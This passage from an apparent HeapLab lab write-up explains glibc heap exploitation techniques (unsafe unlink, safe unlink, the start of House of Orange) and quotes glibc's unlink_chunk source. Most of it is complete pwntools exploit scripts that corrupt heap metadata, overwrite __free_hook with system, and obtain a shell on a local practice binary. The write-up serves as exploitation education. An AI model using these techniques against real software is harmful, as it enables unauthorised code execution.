</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x3f0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x3f0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>) <span style="color:#00d3d0">+</span> p64(shellcode_addr) <span style="color:#00d3d0">+</span> shellcode <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x3f0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#f78fe7">len</span>(shellcode)<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0x3f0</span>) <span style="color:#00d3d0">+</span> p64((<span style="color:#00bcff">0x3f0</span>) <span style="color:#00d3d0">&amp;</span> <span style="color:#00d3d0">~</span><span style="color:#00bcff">0b111</span>))
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>) <span style="color:#a8a8a8"># trigger unlink of chunk A</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>) <span style="color:#a8a8a8"># trigger __free_hook</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvall())</span></span></code></pre></div>
</details>

<h2 id="safe-unlink">Safe unlink</h2>
<p>This is effectively the same as <a href="/writeups/heaplab/#unsafe-unlink">unsafe unlink</a>, except now integrity checks have been introduced to the unlinking process that thwart our previous approach:</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1449"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1449">1449</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1450"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1450">1450</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1451"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1451">1451</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1452"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1452">1452</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1453"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1453">1453</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1454"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1454">1454</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1455"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1455">1455</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1456"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1456">1456</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1457"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1457">1457</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1458"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1458">1458</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1459"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1459">1459</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1460"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1460">1460</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1461"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1461">1461</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1462"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1462">1462</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1463"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1463">1463</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1464"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1464">1464</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1465"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1465">1465</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1466"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1466">1466</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1467"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1467">1467</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1468"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1468">1468</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1469"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1469">1469</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1470"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1470">1470</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1471"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1471">1471</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1472"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1472">1472</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1473"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1473">1473</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1474"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1474">1474</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1475"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1475">1475</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1476"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1476">1476</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1477"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1477">1477</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1478"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1478">1478</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1479"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1479">1479</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1480"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1480">1480</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1481"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1481">1481</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1482"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1482">1482</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1483"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1483">1483</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1484"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1484">1484</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1485"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1485">1485</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1486"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1486">1486</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1487"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1487">1487</a>
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--04d0d8-1488"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--04d0d8-1488">1488</a>
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#a8a8a8">/* Take a chunk off a bin list.  */</span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">static</span> <span style="color:#6ae4b9">void</span>
</span></span><span style="display:flex;"><span><span style="color:#feacd0">unlink_chunk</span> (mstate av, mchunkptr p)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">chunksize</span> (p) <span style="color:#00d3d0">!=</span> <span style="color:#feacd0">prev_size</span> (<span style="color:#feacd0">next_chunk</span> (p)))
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;corrupted size vs. prev_size&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  mchunkptr fd <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>fd;
</span></span><span style="display:flex;"><span>  mchunkptr bk <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>bk;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> (<span style="color:#feacd0">__builtin_expect</span> (fd<span style="color:#00d3d0">-&gt;</span>bk <span style="color:#00d3d0">!=</span> p <span style="color:#00d3d0">||</span> bk<span style="color:#00d3d0">-&gt;</span>fd <span style="color:#00d3d0">!=</span> p, <span style="color:#00bcff">0</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;corrupted double-linked list&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  fd<span style="color:#00d3d0">-&gt;</span>bk <span style="color:#00d3d0">=</span> bk;
</span></span><span style="display:flex;"><span>  bk<span style="color:#00d3d0">-&gt;</span>fd <span style="color:#00d3d0">=</span> fd;
</span></span><span style="display:flex;"><span>  <span style="color:#b6a0ff">if</span> (<span style="color:#00d3d0">!</span><span style="color:#feacd0">in_smallbin_range</span> (<span style="color:#feacd0">chunksize_nomask</span> (p)) <span style="color:#00d3d0">&amp;&amp;</span> p<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">!=</span> <span style="color:#f78fe7">NULL</span>)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">if</span> (p<span style="color:#00d3d0">-&gt;</span>fd_nextsize<span style="color:#00d3d0">-&gt;</span>bk_nextsize <span style="color:#00d3d0">!=</span> p
</span></span><span style="display:flex;"><span>	  <span style="color:#00d3d0">||</span> p<span style="color:#00d3d0">-&gt;</span>bk_nextsize<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">!=</span> p)
</span></span><span style="display:flex;"><span>	<span style="color:#feacd0">malloc_printerr</span> (<span style="color:#79a8ff">&#34;corrupted double-linked list (not small)&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">if</span> (fd<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">==</span> <span style="color:#f78fe7">NULL</span>)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>	  <span style="color:#b6a0ff">if</span> (p<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">==</span> p)
</span></span><span style="display:flex;"><span>	    fd<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">=</span> fd<span style="color:#00d3d0">-&gt;</span>bk_nextsize <span style="color:#00d3d0">=</span> fd;
</span></span><span style="display:flex;"><span>	  <span style="color:#b6a0ff">else</span>
</span></span><span style="display:flex;"><span>	    {
</span></span><span style="display:flex;"><span>	      fd<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>fd_nextsize;
</span></span><span style="display:flex;"><span>	      fd<span style="color:#00d3d0">-&gt;</span>bk_nextsize <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>bk_nextsize;
</span></span><span style="display:flex;"><span>	      p<span style="color:#00d3d0">-&gt;</span>fd_nextsize<span style="color:#00d3d0">-&gt;</span>bk_nextsize <span style="color:#00d3d0">=</span> fd;
</span></span><span style="display:flex;"><span>	      p<span style="color:#00d3d0">-&gt;</span>bk_nextsize<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">=</span> fd;
</span></span><span style="display:flex;"><span>	    }
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>      <span style="color:#b6a0ff">else</span>
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>	  p<span style="color:#00d3d0">-&gt;</span>fd_nextsize<span style="color:#00d3d0">-&gt;</span>bk_nextsize <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>bk_nextsize;
</span></span><span style="display:flex;"><span>	  p<span style="color:#00d3d0">-&gt;</span>bk_nextsize<span style="color:#00d3d0">-&gt;</span>fd_nextsize <span style="color:#00d3d0">=</span> p<span style="color:#00d3d0">-&gt;</span>fd_nextsize;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
</details>

<p>Basically, the addresses we&rsquo;re writing to <a href="/writeups/heaplab/#org-coderef--04d0d8-1459">actually need to point to our chunk</a>, which severely limits our options.
But as it turns out, <kbd>unlink_chunk</kbd> can still be leveraged for an arbitrary write, but in a way that&rsquo;s very specific to our target binary.</p>
<h3 id="solve">Solve</h3>
<p>In our binary there exists a global variable <kbd>m_array</kbd> that has pointers to the chunks we&rsquo;re allocating on the heap.</p>
<p>We can craft a fake freed chunk A with <kbd>fd</kbd> and <kbd>bk</kbd> pointers that point to <kbd>m_array[0]</kbd>, which in turn points back to chunk A, thus passing the integrity checks.
As an additional complication we can&rsquo;t free chunk A as-is, but that&rsquo;s fine—we can create a smaller fake chunk within chunk A and use that.</p>
<p>This has the effect of clobbering <kbd>m_array[0].user_data</kbd> to point to itself; when we try to <kbd>edit</kbd> chunk A, we&rsquo;re actually editing <kbd>m_array[0]</kbd>.
From there we can overwrite <kbd>m_array[0].user_data</kbd> to point to <kbd>__free_hook</kbd>, and <kbd>edit</kbd> &ldquo;chunk A&rdquo; once more to write a one_gadget.</p>
<p>Or so I thought, but as it turns out I couldn&rsquo;t satisfy any of the conditions of the one_gadgets, even with <code>rdi</code>​/​<code>[rdi]</code> or <code>rax</code> control (by clobbering <kbd>m_chunk[1].user_data</kbd>).
But if we have an arbitrary write, we can just write <code>&quot;/bin/sh&quot;</code> at the start of our fake chunk and set <kbd>__free_hook</kbd> to <kbd>system</kbd>, nice and simple.</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;safe_unlink&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">edit</span>(index, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;2&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">free</span>(index):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;3&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;index: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>index<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0xa0</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk A</span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#a8a8a8"># chunk B</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, p64(<span style="color:#00bcff">0</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0x91</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>m_array<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x18</span>) <span style="color:#00d3d0">+</span> p64(elf<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>m_array<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x10</span>) <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x90</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0x90</span>) <span style="color:#00d3d0">+</span> p64((<span style="color:#00bcff">0x90</span>) <span style="color:#00d3d0">&amp;</span> <span style="color:#00d3d0">~</span><span style="color:#00bcff">0b111</span>))
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">1</span>) <span style="color:#a8a8a8"># trigger unlink of chunk A</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># m_array[0].user_data = &amp;m_array[0].user_data-0x18</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">*</span><span style="color:#00bcff">0x18</span> <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__free_hook <span style="color:#00d3d0">-</span> <span style="color:#f78fe7">len</span>(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># m_array[0].user_data = &amp;__free_hook-8</span>
</span></span><span style="display:flex;"><span>edit(<span style="color:#00bcff">0</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span> <span style="color:#00d3d0">+</span> p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span>free(<span style="color:#00bcff">0</span>) <span style="color:#a8a8a8"># trigger __free_hook with address to &#34;/bin/sh&#34; as argument</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="house-of-orange">House of Orange</h2>
<p>Fast forward to 2016 when the <a href="https://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html">House of Orange</a> technique was introduced at HITCON CTF Quals.
This attack is a bit convoluted as it relies on internals of <kbd>_IO_FILE</kbd> for a specific version of Glibc, but the technique has pedagogical value for learning FSOP and the unsortedbin attack.</p>
<p>The prescient bit of information is that we can write the head of the unsortedbin (the first bin in <kbd>main_arena.bins</kbd>) freelist to an arbitrary address, where <kbd>main_arena.bins[0] == &amp;tail_of_unsortedbin</kbd>.
